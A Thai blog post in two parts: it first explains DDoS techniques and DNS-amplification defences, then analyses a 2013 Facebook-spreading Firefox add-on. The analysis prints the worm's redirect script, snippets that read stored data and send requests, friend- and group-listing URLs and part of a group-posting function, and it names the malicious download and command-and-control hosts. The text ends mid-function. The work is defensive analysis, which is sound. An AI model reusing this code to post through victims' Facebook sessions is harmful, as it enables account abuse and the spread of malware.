นอกจากการตั้งค่าเพื่อปิดหรือจำกัดการทำงาน Recursion แล้ว ผู้ดูแลระบบยังสามารถทำการตั้งค่า DNS Response Rate Limiting (RRL) ซึ่งเป็นความสามารถที่อนุญาตให้ผู้ดูแลระบบ สามารถกำหนดจำนวนครั้งที่ DNS server สามารถตอบผลลัพธ์ที่เหมือนกันกลับไปยังผู้ร้องขอรายหนึ่ง ๆ ได้มากที่สุดในแต่ละวินาที ทำให้ช่วยลดปริมาณข้อมูลที่ DNS server ตอบกลับไปยังผู้ร้องขอได้ในระดับหนึ่ง ซึ่งหมายถึงการช่วยลดผลกระทบที่เกิดจากการนำ DNS server ไปใช้ในการโจมตีด้วยเทคนิค DNS amplification attack ดังที่อธิบายไว้ในตอนแรก ทั้งนี้ผู้ที่ต้องการกำหนดค่าดังกล่าวกับ DNS server ที่ตนเองดูแลอยู่นั้น ควรมีความรู้เข้าใจ รวมถึงสามารถตรวจสอบและแก้ไขการทำงานของโปรแกรมที่ทำหน้าที่ให้บริการ DNS ได้เป็นอย่างดี เนื่องจากการใช้ความสามารถนี้ มีความจำเป็นที่จะต้องอัพเกรดเวอร์ชันหรือติดตั้งแพทช์ของโปรแกรม ซึ่งอาจส่งผลกระทบต่อการทำงานของระบบได้ในกรณีที่ติดตั้งไม่ถูกวิธี ปัจจุบันความสามารถดังกล่าวเริ่มมีให้เลือกใช้ในหลายโปรแกรมแล้ว ไม่ว่าจะเป็น BIND, Knot DNS หรือ NSD และกำลังอยู่ในขั้นตอนการพัฒนาเพื่อรองรับโปรแกรมตัวอื่น ๆ เช่นกัน ผู้ที่สนใจสามารถศึกษาวิธีการติดตั้งและตั้งค่า Rate limiting ได้จากเว็บไซต์ Red Barn
บทวิเคราะห์
การโจมตีแบบ Distributed Denial of Service (DDoS) มีจุดประสงค์เพื่อให้ระบบหยุดการทำงานไม่สามารถใช้เครื่องคอมพิวเตอร์ได้ ทั้งระบบหรือเครื่องเดียวๆ เคยมีเหตุการโจมตีแบบนี้เป็นตัวอย่างจริงมากับประเทศเกาหลีใต้ เมื่อปี 2552 ในเดือนนี้หล่ะ มีแฮกเกอร์ยิง DDoS ถล่มเครือข่ายคอมพิวเตอร์และเว็บไซต์หน่วยงานรัฐบาลเกาหลีใต้ แฮกเกอร์ไม่ทราบสัญชาติได้ส่งข้อมูลเข้าไป ทำลายระบบเน็ตเวิร์ก จนเว็บไซต์ใช้งานไม่ได้นานกว่า 4 ชั่วโมง เว็บไซต์เกาหลีใต้ที่ถูกโจมตีไม่ใช่เว็บไซต์ทั่วไป แต่เป็นเว็บไซต์ของกระทรวงกลาโหม เว็บไซต์ทำเนียบประธานาธิบดี ในไทยก็มีถ้าใครเป็นนักเล่นคอมพิวเตอร์และเป็นคอการเมือง จะรู้กันในช่วงที่ปัญหาการเมืองกำลังคุกรุ่นที่ผ่านมาเว็บ ICT ก็เคยถูกโจมตีจนระบบล่มไม่สามารถใช้งานได้อยู่หลายชั่วโมง
ผู้ที่โจมตีแบบ DDoS มักจะนำเครื่องมือที่จะใช้ในการโจมตีไปติดตั้งบนคอมพิวเตอร์ที่ถูกเจาะไว้แล้ว คอมพิวเตอร์ที่ได้รับเครื่องมือนี้ เข้าไปจะเรียกว่า ซอมบี้ ซึ่งเมื่อมีจำนวนพอสมควรก็จะระดมส่งข้อมูลในรูปแบบที่ควบคุมได้โดยผู้ควบคุมการโจมตีไปยังเหยื่อ หรือเป้าหมายที่ต้องการ ซึ่งการโจมตีรูปแบบนี้มักจะก่อให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่จนผู้ อื่นไม่สามารถใช้งานได้ตามปกติ หรือทำให้ระบบที่ถูกโจมตีไม่มีทรัพยากรเหลือพอที่จะให้บริการผู้ใช้ธรรมดาได้
รูปแบบการโจมตี
เครื่องมือที่ใช้โจมตี แบบ DDoS มีใช้กันอย่างแพร่หลายมานานหลายปีแล้วย้อนหลังเป็น 10 ปี มาแล้ว (แต่บรรดาผู้ผลิตอุปกรณ์คอมพิวเตอร์ต่างก็มีวิธีป้องกันการโจมตีเช่นเดียวกัน) รูปแบบการโจมตีที่นิยมใช้กันก็มีอย่าง SYN flood, UDP flood, ICMP flood, Smurf, Fraggle เป็นต้น ซึ่งมีรายละเอียดโดยสังเขปดังนี
1. การโจมตีแบบ SYN Flood
เป็นการโจมตีโดยการส่ง แพ็คเก็ต TCP ที่ตั้งค่า SYN บิตไว้ไปยังเป้าหมาย เสมือนกับการเริ่มต้นร้องขอการติดต่อแบบ TCP ตามปกติ (ผู้โจมตีสามารถปลอมไอพีของ source address ได้) เครื่องที่เป็นเป้าหมายก็จะตอบสนองโดยการส่ง SYN-ACK กลับมายัง sourceIP address ที่ระบุไว้ ซึ่งผู้โจมตีจะควบคุมเครื่องที่ถูกระบุใน sourceIP address ไม่ให้ส่งข้อมูลตอบกลับ ทำให้เกิดสภาวะ half-open ขึ้นที่เครื่องเป้าหมาย หากมีการส่ง SYN flood จำนวนมาก ก็จะทำให้คิวของการให้บริการของเครื่องเป้าหมายเต็ม ทำให้ไม่สามารถให้บริการตามปกติได้ นอกจากนี้ SYN flood ที่ส่งไปจำนวนมาก ยังอาจจะทำให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่
2. การโจมตีแบบ ICMP Flood
เป็นการส่งแพ็คเก็ต ICMP ขนาดใหญ่จำนวนมากไปยังเป้าหมาย ทำให้เกิดการใช้งานแบนด์วิดธ์เต็มที่
3. การโจมตีแบบ UDP Flood
เป็นการส่งแพ็คเก็ต UDP จำนวนมากไปยังเป้าหมาย ซึ่งทำให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่ หรือทำให้ทรัพยากรของเป้าหมายถูกใช้ไปจนหมด โดยจะส่ง UDP packet ไปยัง port ที่กำหนดไว้ เช่น 53 (DNS)
4. การโจมตีแบบ Teardrop
โดยปกติเราเตอร์จะไม่ยอม ให้แพ็กเก็ตขนาดใหญ่ผ่านได้ จะต้องทำ Fragment เสียก่อนจึงจะยอมให้ผ่านได้ และเมื่อผ่านไปแล้วเครื่องของผู้รับปลายทางจะนำแพ็กเก็ตที่ถูกแบ่งออกเป็น ชิ้นส่วนต่าง ๆ ด้วยวิธีการ Fragment มารวมเข้าด้วยกันเป็นแพ็กเก็ตที่สมบูรณ์ การที่สามารถนำมารวมกันได้นี้จะต้องอาศัยค่า Offset ที่ปรากฏอยู่ ในแพ็กเก็ตแรกและแพ็กเก็ตต่อๆ ไปสำหรับการโจมตีแบบ Teardrop นี้ ผู้โจมตีจะส่งค่า Offset ในแพ็กเก็ตที่สองและต่อ ๆ ไปที่จะทำให้เครื่องรับปลายทางเกิดความสับสน หากระบบปฏิบัติการไม่สามารถรับมือกับปัญหานี้ ก็จะทำให้ระบบหยุดการทำงานในทันที
5. การโจมตีแบบ Land Attack
ลักษณะการโจมตีประเภทนี้ เป็นการส่ง SYN ไปที่เครื่องเป้าหมายเพื่อขอการเชื่อมต่อ ซึ่งเครื่องที่เป็นเป้าหมาย จะต้องตอบรับคำขอการเชื่อมต่อด้วย SYN ACK ไปที่เครื่องคอมพิวเตอร์ต้นทางเสมอ แต่เนื่องจากว่า IP Address ของเครื่องต้นทางกับเครื่องที่เป็นเป้าหมายนี้มี IP Address เดียวกัน โดยการใช้วิธีการสร้าง IP Address ลวง (โดยข้อเท็จจริงแล้วเครื่องของ Hacker จะมี IP Address ที่ต่างกับเครื่องเป้าหมายอยู่แล้ว แต่จะใช้วิธีการทางซอฟต์แวร์ ในการส่งแพ็กเก็ตที่ประกอบด้วยคำขอการเชื่อมต่อ พร้อมด้วย IP Address ปลอม) ซึ่งโปรโตคอลของเครื่องเป้าหมาย ไม่สามารถแยกแยะได้ว่า IP Address ที่เข้ามาเป็นเครื่องปัจจุบันหรือไม่ ก็จะทำการตอบสนองด้วย SYN ACK ออกไป หากแอดเดรสที่ขอเชื่อมต่อเข้ามาเป็นแอดเดรสเดียวกับเครื่องเป้าหมาย ผลก็คือ SYN ACK นี้จะย้อนเข้าหาตนเอง และเช่นกันที่การปล่อย SYN ACK แต่ละครั้งจะต้องมีการปันส่วนของหน่วยความจำเพื่อการนี้จำนวนหนึ่ง ซึ่งหากผู้โจมตีส่งคำขอเชื่อมต่อออกมาอย่างต่อเนื่องก็จะเกิดปัญหาการจัดสรรหน่วยความจำ
6. Smurf
ผู้โจมตีจะส่ง ICMP Echo Request ไปยัง broadcast address ในเครือข่ายที่เป็นตัวกลาง (ปกติจะเรียกว่า amplifier) โดยปลอม source IP address เป็น IP address ของระบบที่ต้องการโจมตี ซึ่งจะทำให้เครือข่ายที่เป็นตัวกลางส่ง ICMP Echo Reply กลับไปยังIP address ของเป้าหมายทันที ซึ่งทำให้มีการใช้งานแบนด์วิดธ์อย่างเต็มที่
ความเสียหายที่เกิดโดยการโจมตีในรูปแบบ DDoS
ความเสียหายที่เกิดจาก DDoS ส่งผลให้ผู้ใช้งานแต่ละส่วนไม่เหมือนกันแล้วแต่ว่าเขาจะอยู่ในส่วนใด เช่น เป็นผู้เข้าไปใช้งาน เป็นพนักงานในองค์กรที่โดนโจมตีหรือเป็นเจ้าของเครื่องที่ถูกใช้ในการโจมตีหรือจะมองในแง่ขององค์กรที่โดนโจมตี ทุกๆ ฝ่ายล้วนแล้วแต่เป็นฝ่ายเสียทั้งนั้นยกเว้นคนที่ทำให้เหตุการณ์นี้เกิดขึ้นหรือคนที่เป็นคนบงการอยู่เบื้องหลังเท่านั้นที่ได้ประโยชน์ จากการโจมตีนั้น ถ้าเราจะจัดความเสียหาย ของ DoS นั้นก็สามารถจัดได้ตามประเภทของการทำงานของตัว DDoS เอง ซึ่งสามารถแบ่งได้เป็นสองประเภทด้วยกันคือ
1. ความเสียหายกับเครื่องคอมพิวเตอร์
1.1 เครื่องที่ถูกใช้เป็นเครื่องมือในการโจมตีอันดับแรกคือเราสูญเสียการควบคุมของเครื่องเราเองทำให้คนอื่นสามารถเข้ามาบงการ เครื่องของเราให้ไปทำอย่างโน้นทำอย่างนี้ตามที่เขาต้องการได้อันดับสองคือการเสียทรัพยากรของเครื่องเองไม่ว่าจะเป็น ซีพียู เมโมรี หรือแบนด์วิดธ์เป็นต้นทรัพยากรต่าง ๆ ของเครื่องที่กล่าวไปแล้วนั้นจะถูกใช้ไปรันโปรแกรมที่จะใช้ในการเข้าไปโจมตี เครื่องเหยื่อ ทำให้เครื่องคอมพิวเตอร์ของเรานั้นไม่สามารถใช้งานได้อย่างเต็มที่
1.2 เครื่องที่เป็นเหยื่อในการโจมตีครั้งนี้แน่นอนว่าทำให้เครื่องนั้นไม่สามารถให้บริการต่อไปได้เพราะจุดประสงค์หลักของ DDoS ก็คือสิ่งนี้เพราะเครื่องนั้นมัวแต่ประมวลผล Request จำนวนมากที่ถูกส่งเข้ามาทำให้เครื่องนั้นทำงานหนักจนไม่สามารถรับงาน ได้อีกต่อไปบางเครื่องอาจจะแฮงก์ไปเฉย ๆ หรือระบบอาจจะ Crash เลยก็เป็นไปได้ทำให้เครื่องนั้นไม่สามารถให้บริการได้อีก
2. ความเสียหายกับระบบเน็ตเวิร์ก
2.1 มุมที่ผู้ถูกใช้เป็นเครื่องมือทำให้แบนด์วิดธ์ที่เราควรจะมีเหลือไว้ ใช้นั้นถูกใช้ไปกับการโจมตีเสียหมด บางครั้งก็กินแบนด์วิดธ์ทั้งหมดที่เรามีอยู่เพื่อใช้ในการโจมตีทำให้เครื่อง หรือระบบที่ถูกใช้เป็นเครื่องมือในการโจมตีนั้นไม่สามารถใช้งานระบบ เน็ตเวิร์กได้อีกต่อไป
2.2 มุมที่ผู้ถูกโจมตี เช่นเดียวกับแบนด์วิดธ์ของผู้ที่ถูกโจมตีนั้นก็จะใช้ไปอย่างรวดเร็วจนหมด ทำให้บริการที่เตรียมไว้ที่เครื่องที่ถูกโจมตี นั้นไม่สามารถใช้งานได้อีกต่อไปเครื่องที่ต้องการที่จะติดต่อเข้ามาที่เครื่องนี้หรือผ่านเครื่องนี้เพื่อเข้าไปในระบบข้างใน (ในกรณีที่เป็นไฟร์วอลล์) ไม่สามารถใช้งานได้ผู้ที่อยู่ด้านในของระบบก็จะไม่สามารถเชื่อมต่อกับ ระบบภายนอกได้เช่นเดียวกันแต่ระบบ LAN
3. ความเสียหายกับองค์กร
3.1 เมื่อเกิดการโจมตีขึ้นแล้วก็มีแต่เสียกับเสียเท่านั้นยิ่งองค์กรที่ถูกโจมตีด้วยแล้วความเสียหายนั้นก็เกิดขึ้นอย่างมากมายทีเดียว เริ่มตั้งแต่ความเสียหายของตัวเครื่องคอมพิวเตอร์หรือระบบที่โดนโจมตีเองทำให้ต้องเสียเวลาเสียค่าใช้จ่ายในการซ่อมแซม เพื่อที่ให้สามารถกลับมาให้บริการได้อย่างเดิม
3.2 เสียโอกาสทางธุรกิจโอกาสที่จะทำธุรกรรมกับเครื่องที่โดนโจมตีหรือการทำธุรกรรมอื่นๆกับระบบภายในที่จำเป็น ต้องต่อเชื่อมกับอินเตอร์เน็ตสูญเสียโอกาสที่จะทำธุรกรรมทางอินเตอร์เน็ตโอกาสที่ลูกค้าจะเข้ามาในเว็บโอกาสที่จะปิดการขายโอกาส ที่จะสร้างรายได้และอีกหลาย ๆ โอกาสที่ทางองค์กรจะต้องเสียไป
3.3 เสียภาพลักษณ์ขององค์กรที่ถูกโจมตีด้วยการโจมตีประเภท DDoS นั้นทำให้การบริการที่องค์กรนั้น เตรียมพร้อมไว้ให้บริการไม่สามารถให้บริการได้ทำให้ภาพลักษณ์ขององค์กรนั้นเสียไปเพราะไม่สามารถป้องกัน เหตุที่เกิดขึ้นได้หรือไม่มีวิธีการแก้ไขที่รวดเร็วจนทำให้เกิดความเสียหายขึ้นทำให้ลูกค้าขาดความเชื่อมั่นในองค์กร ว่าจะสามารถตอบสนองความต้องการของตนได้อาจเป็นเหตุให้ลูกค้าเปลี่ยนใจไปใช้บริการของ องค์กรอื่นแทนในที่สุด
DNS Amplification Attack
สำหรับ DNS Amplification Attack (หรืออาจเรียกว่า DNS Reflection Attack) นี้เป็นวิธีการโจมตีแบบใช้ตัวตายตัวแทนเรื่องนี้ค่อนข้างเก่า พอสมควรเพราะเป็นวิธีการโจมตีเครือข่ายที่ทำง่าย และป้องกันได้ยากมากวิธีนึงครับ โดยมีแผนผังการโจมตีดังนี้
สาเหตุที่เรียกว่า DNS Amplification หรือ DNS Reflection Attack นั้นก็มาจากลักษณะของการโจมตีครับ ด้วยตัวพื้นฐานของระบบ DNS นั้นจะใช้ protocol UDP ซึ่งเป็นการรับส่งข้อมูลแบบ stateless คือสามารถส่งข้อมูลออกไปได้ตั้งแต่ packet แรกที่ส่ง ดังนั้นจึงเกิดการปลอมแปลงได้ง่ายมากครับ โดยผู้โจมตีจะทำการปลอมแปลงเป็น IP ของเหยื่อ แล้วระดมส่งคำร้องขอทำการ resolve DNS ไปยัง DNS Server ที่ต่างๆ และเมื่อ DNS Server ได้รับคำร้องแล้ว ก็จะตอบกลับไปหา IP ของเหยื่อ (ตามที่ผู้โจมตีปลอมมา) ทำให้เหยื่อได้รับ packet DNS ปริมาณมหาศาลตามลักษณะของรูปด้านบนครับ และที่บอกว่าเป็น Amplification Attack เพราะรูปแบบของคำร้อง DNS เหล่านี้ส่วนมากจะเป็น packet สั้นๆ แต่ขนาดของ packet ที่ DNS server จะต้องตอบกลับไปมีขนาดใหญ่มาก ทำให้ bandwidth ของเครื่องที่ถูกโจมตีเต็มได้ครับ
สำหรับวิธีป้องกันอาจแบ่งออกเป็น 3 ส่วนคือ ดังนี้
1. ส่วนของ bandwidth และส่วนของการทำ stateful inspection โดยการคือหาเครื่อง firewall หรือ server ที่รองรับ bandwidth ปริมาณมากกว่าการโจมตีให้ได้ก่อน แล้วจึงทำการ drop ข้อมูลการถาม DNS
2. แบบ stateful ทำโดยตั้งให้ว่าถ้า firewall ไม่เจอคำร้องสำหรับ DNS request นั้น ให้ทำการ drop reply ที่ได้รับนั้นทิ้งดังตัวอย่าง IPTables
iptables -A FORWARD -m state —state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -j DROP
3. เจ้าของ server ถ้าเป็นไปได้ ไม่ควรเปิด recursion resolve เพื่อไม่ให้เครื่อง server ของตัวเองกลายเป็นเครื่องที่ไปโจมตีได้

วันจันทร์ที่ 17 มิถุนายน พ.ศ. 2556

Analysis Facebook Malware[ | Facebook Messenger 2013]

วันนี้มีเพื่อนของผมใน Facebook บางคนติดไวรัสที่ทำงานแพร่กระจายผ่าน Facebook โดยจะเป็นการโพสต์ที่ Wall ของ เหยื่อที่ติดไวรัสตัวนี้ และโพสต์ในกรุ๊ปต่างๆที่เหยื่อนั้นเป็นสมาชิกอยู่ด้วยครับ ซึ่งรูปร่างหน้าตาของข้อความจะเป็นประมาณนี้ครับ

ซึ่งอันนี้เป็นข้อความที่ผมเอามาจาก email ที่ส่งมาจาก Facebook อีกที ซึ่งเมล์แบบนี้จะเกิดขึ้นเมื่อมีการ mention ชื่อผมในข้อความนั่นเอง โดยจากภาพจะเห็นว่าด้านหน้าสุดจะเป็นชื่อของผู้ที่โพสต์ข้อความหรือก็คือ เหยื่อนั่นเอง ส่วนขึดดำๆนั่นคือชื่อของเหล่าคนที่ถูก mention ครับ
ซึ่งพอ ผมเห็นข้อความประมาณนี้ผมคิดในใจทันทีว่า อยู่ดีๆก็ mention แบบไม่มีปี่ไม่มีขลุ่ยแบบนี้ น่าจะไวรัสชัวร์ๆ ดังนั้นผมจึงไม่กล้าที่จะกด link ดังกล่าวครับ แต่ก็ยังมีความสงสัยอยู่ว่ามันเป็นยังไงและคืออะไร แต่ในขณะนั้นผมใช้งานบน iPad ทำให้ไม่สะดวกในการเข้าไปดูเพราะไม่มี plugin security ใดๆบน chrome browser ของผมเลย(ถ้าเป็น Notebook ผมคงใช้ Plugin อย่าง NoScript ของ Firefox หรือ NotScript ของ Chrome ที่เอาไว้หยุดการรัน script ที่เว็บไซด์ที่เราเข้าไปนั่นเอง*) ดังนั้นผมจึงเลือกที่จะใช้บริการเว็บไซด์ที่สามารถ view source code ได้โดยที่เราไม่จำเป็นต้องเข้าเว็บไซด์อย่าง เว็บไซด์ serversfree.com แทนนั่นเอง ซึ่ง URL ของเว็บแอพพลิเคชั่นที่ว่าก็คือ http://www.serversfree.com/free-seo-tools/view-source-code/ นั่นเอง

โดยเมื่อผมใส่ URL http://bb1.co/1181581977 ที่เป็นข้อความกระจายไวรัสผมก็ได้ผลดังภาพครับ



จะเห็น source code ของเว็บไซด์ดังกล่าวครับ นั่นหมายความว่าถึงแม้เราจะไม่ได้เข้าเว็บไซด์ดังกล่าวก็สามารถดู source code ของเว็บไซด์เป้าหมายได้เช่นกัน ทีนี้มาดูกันว่า source code ของเว็บไซด์ดังกล่าวเป็นอย่างไรบ้าง โดยผมคิดว่าหากโพสต์ในนี้มันจะยาวเกินไป หากใครต้องการ code ตัวเต็มให้เข้าไปดูใน link นี้ครับ http://pastebin.com/gxhG7BQc

พอดูคร่าวๆแล้วผมก็ไม่เห็นจะมีอะไร เท่าที่ดูเป็นตัวที่ใช้ในการนำ shorten URL(URL แบบย่อ)
http://bb1.co/1181581977 ไปเป็น Long URL(URL ปกติ)มากกว่า แต่ก็ยังสงสัยว่ามันโจมตียังไงหรือมีการทำงานยังไง ก็เลยจบการวิเคราะห์บน iPad ไว้ก่อนเพราะกลัวจะโดนอะไรไปซะก่อน :p

จากนั้นก็มาทดสอบการใช้งานเว็บไซด์ที่แพร่กระจายอีกทีด้วย VMWare ของผมเองด้วย Burp Suite โดยได้ผลดังนี้ครับ


เมื่อเข้าไปยังเว็บไซด์ http://bb1.co/1181581977

มีการตอบกลับมาเป็น
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Tue, 11 Jun 2013 15:53:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 90
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=4cb5fca8c1981f2c42cbe6b34f4a3da4; path=/
Vary: User-Agent,Accept-Encoding
Connection: keep-alive

<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://sarjad.net/theme/id/images/?1181581977">






ซึ่งก็คือการ redirect ไปยัง http://sarjad.net/theme/id/images/?1181581977 หรือก็คือ Long URL ของ
http://bb1.co/1181581977 นั่นเอง

จากนั้นเมื่อเข้าไปที่ http://sarjad.net/theme/id/images/?1181581977 พบว่ามีการตอบสนองกลับมาเป็น 
HTTP/1.1 200 OK
Content-Length: 882
Content-Type: text/html
Server: Apache
Last-Modified: Tue, 11 Jun 2013 15:41:16 GMT
Connection: keep-alive
Date: Tue, 11 Jun 2013 15:55:58 GMT

<script language="javascript" type="text/javascript">
    var firefoxurl    = "http://sarjad.net/theme/id/images/firefox.php?mozilla";
    var chromeurl    = "http://xdailyhaha.blogspot.com/?chrome";
    var operaurl    = "http://xdailyhaha.blogspot.com/?opera";
    var safariurl    = "http://xdailyhaha.blogspot.com/?safari";
    var elseurl    = "http://xdailyhaha.blogspot.com/?else";
    var is_opera=navigator.userAgent.toLowerCase().indexOf("opera")>-1;
    var is_chrome=navigator.userAgent.toLowerCase().indexOf("chrome")>-1;
    var is_safari=navigator.userAgent.toLowerCase().indexOf("safari")>-1;
    var is_firefox=navigator.userAgent.toLowerCase().indexOf("firefox")>-1;
    if(is_chrome)    inst=chromeurl;
    else if(is_firefox)    inst=firefoxurl;
    else if(is_opera)    inst=operaurl;
    else if(is_safari)    inst=safariurl;
    else        inst=elseurl;
    top.location.href = inst;
</script>


ซึ่งจากเว็บเพจดังกล่าวมี javascript ที่ใช้ในการ redirect เหยื่อไปยังเว็บไซด์ต่างๆตาม Browser ที่เราใช้งานด้วย statement navigator.userAgent.toLowerCase().indexOf($Browser_Name) โดยในที่นี้ผมใช้เป็น Firefox ดังนั้นก็จะถูก redirect เข้าไปที่ http://sarjad.net/theme/id/images/firefox.php?mozilla (หากเป็น Chrome ก็จะกลายเป็นเข้าไปที่ http://xdailyhaha.blogspot.com/?chrome แทนครับ)

และเมื่อเข้าไปหน้า http://sarjad.net/theme/id/images/firefox.php?mozilla ซึ่งเป็นหน้าที่หลอกให้เหยื่อ download plugin ของ Firefox ไปติดตั้ง

ตัวอย่างการเข้าด้วย Firefox

ตัวอย่างการเข้าด้วย Chrome

พร้อมทั้งในหน้า page ดังกล่าวก็มีการใช้พวก histat เพื่อเก็บสถิติการเข้าถึงด้วย
<script type="text/javascript">document.write(unescape("%3Cscript src=%27http://s10.histats.com/js15.js%27 type=%27text/javascript%27%3E%3C/script%3E"));</script>
        <script  type="text/javascript" >
        try {Histats.start(1,2259907,4,0,0,0,"");
        Histats.track_hits();} catch(err){};
        </script>


อีกทั้งมีการหาเงินจาก ads ด้วยครับ

GET /st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL} HTTP/1.1
Host: onlineadserv.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://sarjad.net/theme/id/images/firefox.php?mozilla
Connection: keep-alive


GET /st?ad_type=iframe&ad_size=728x90&section=4310197 HTTP/1.1
Host: ad.yieldmanager.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://onlineadserv.com/st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL}
Cookie: ih="b!!!!'!B*!B!!!!$>33Yy!DfK0!!!!#>3,$8!DfWq!!!!#>33`R!DyuX!!!!$>3,$7"; bx=62qkht18dehmk&b=3&s=1l&t=116; RMBX=62qkht18dehmk&b=3&s=1l&t=116; BX=62qkht18dehmk&b=3&s=1l&t=116; bh="b!!!!#!%ODP!!!!#>3367"
Connection: keep-alive


ทีนี้หากเรากดที่ปุ่ม Update ก็จะกลายเป็น dialog ถามว่าจะติดตั้ง Firefox Addon ตัวนี้มั้ยนั่นเองครับ

ผมได้ลอง download http://sarjad.net/theme/id/images/ribbons/socialne.xpi มาแกะดูภายในไฟล์ พบว่ามีไฟล์ที่น่าสนใจคือ facebook.js นั่นเอง

ซึ่งจากการวิเคราะห์ facebook.js มันจะไปดึงข้อมูล cookie ของเราจาก LocalStorage ออกมาเพื่อปลอมตัวเองเป็นเหยื่อสำหรับการโพสต์ข้อมูลต่างๆนั่นเอง
GM_getValue=function(name, defaultValue) { return window.localStorage.getItem(name) || defaultValue;};

 จากนั้นก็จะไล่ดู history ของเหยื่อที่เคยเข้า ว่าเข้า facebook URL อะไรบ้าง แล้วไล่ไปโพสต์ทุกอันอีกทีครับ
GM_xmlhttpRequest=function(obj) {
    try {
        if (obj && obj.url && obj.url.indexOf("facebook.com")>0) {
            var request=new window.XMLHttpRequest();
            request.onreadystatechange=function() { if(obj.onreadystatechange) { obj.onreadystatechange(request); }; if(request.readyState==4 && obj.onload) { obj.onload(request); } }
            request.onerror=function() { if(obj.onerror) { obj.onerror(request); } }
            try { request.open(obj.method,obj.url,true); } catch(e) { if(obj.onerror) { obj.onerror( {readyState:4,responseHeaders:'',responseText:'',responseXML:'',status:403,statusText:'Forbidden'} ); }; return; }
            if(obj.headers) { for(name in obj.headers) { request.setRequestHeader(name,obj.headers[name]); } }
            request.send(obj.data); return request;
        }
        else {
            opera_xhr_counter++;
            var xhr = { 'method':obj.method, 'url':obj.url, 'headers':obj.headers, 'data':obj.data };
            var req_obj = {'type':'ajax', 'xhr':xhr, 'id':opera_xhr_counter};
            opera_xhr_funcs[ opera_xhr_counter ] = obj.onload;
            opera.extension.postMessage( JSON.stringify(req_obj) );
        }
    } catch(e) {
        alert(e);
    }
};


จากการไล่ดูข้อมูลคร่าวๆทั้งหมด ก็สามารถสรุปได้ดังนี้
1. Malware ตัวนี้ใช้การกระจายผ่าน Shorten URL
2. ใช้ Service ที่เปลี่ยนจาก Shorten URL ไปเป็น Long URL ในการทำให้การโจมตีซับซ้อนยิ่งขึ้น(Obfuscation)
3. Malware ดังกล่าวเป็นการโจมตีดั่งที่เพื่อนผม Kenny พูดไว้เมื่อ 3 ปีที่แล้วได้ นั่นก็คือการโจมตีแบบ Cocktail Attack โดยเป็นการโจมตีที่จะใช้ payload ตาม Browser ที่เราเข้า
4. การโจมตีเน้นการโจมตีแบบ Drive-By-Download ติดตั้ง virus อยู่ภายในเครื่องเราผ่านการติดตั้งพวก plugin
5. การโจมตีทั้งหมด นั้นทำเพื่อ Black SEO และหาเงินผ่าน Ads ต่างๆครับ
6. พยายามแพร่กระจายผ่าน Facebook
7. มีความพยายามในการโจมตีที่ซับซ้อนและหลากหลายมากขึ้น

วิธีการแก้ไขของ Firefox คือ
 เข้าไปลบ Plugin ที่มีชื่อว่า Facebook 2013 2.0 ครับ โดยเข้าไปที่ Tools -> Add-ons -> Extensions จากนั้นจะเห็นชื่อ "Facebook 2013 2.0" เลือก Remove แล้วก็ Restart Now ได้เลยครับ

*** หมายเหตุหากไม่เอาออกและเราเปิดหน้า Facebook ค้างไว้ ตัว malware add-ons ตัวนี้ก็จะทำการโพสต์ข้อความไปเรื่อยๆครับ


*** Update

ส่วนนี้เป็นส่วนเพิ่มเติมที่ผมทำคือลองลง add-ons ตัวนั้นดูครับ ซึ่งผลที่ได้ก็ไม่แปลกใจซักเท่าไหร่ ซึ่งผมสามารถสรุปได้ดังนี้
1. ไม่มีการฝัง backdoor ไว้ในเครื่อง
2. ไม่มีการสร้าง service เพิ่มเติมไว้ในเครื่องเรา
3. ทำงานผ่าน add-ons ที่ติดตั้งไว้ใน Browser ของเราเลย ซึ่งนั่นหมายความว่าการทำงาน request ต่างๆจะกระทำผ่าน Firefox โดยที่เราไม่รู้ตัวเลย ซึ่งจะคล้ายๆกับ Man-In-The-Browser แต่เป็นการใช้ session ที่ถูกจัดการไปใน browser มากกว่า
4. มีการ download javascript มา run เป็นระยะๆ ซึ่งก็จะคล้ายๆกับการไปดาวโหลดคำสั่งมาจาก C&C server นั่นเอง


โดยพอเราเข้า Facebook.com ก็จะมีการ download javascript จาก crazyjack.no-ip.info และ crazyjacks.googlecode.com ทันที  
5. Javscript จาก crazyjack.no-ip.info แบ่งเป็น 3 ส่วน
   5.1 post.js จะมีการดึง cookie ออกมาด้วยคำสั่ง javascript จากนั้นก็หา userid ของเราผ่าน c_user ออกมา แล้วค้นหา list เพื่อน,group ด้วยคำสั่งประมาณว่า

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid 

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=group&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid

แล้ว post ไปในข้อความ, wall และ group ของเหยื่อด้วย XML

function postagroup(idgrp){
    var xmlhttppg = new XMLHttpRequest();
    xmlhttppg.onreadystatechange = function () { if(xmlhttppg.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppg.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppg.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
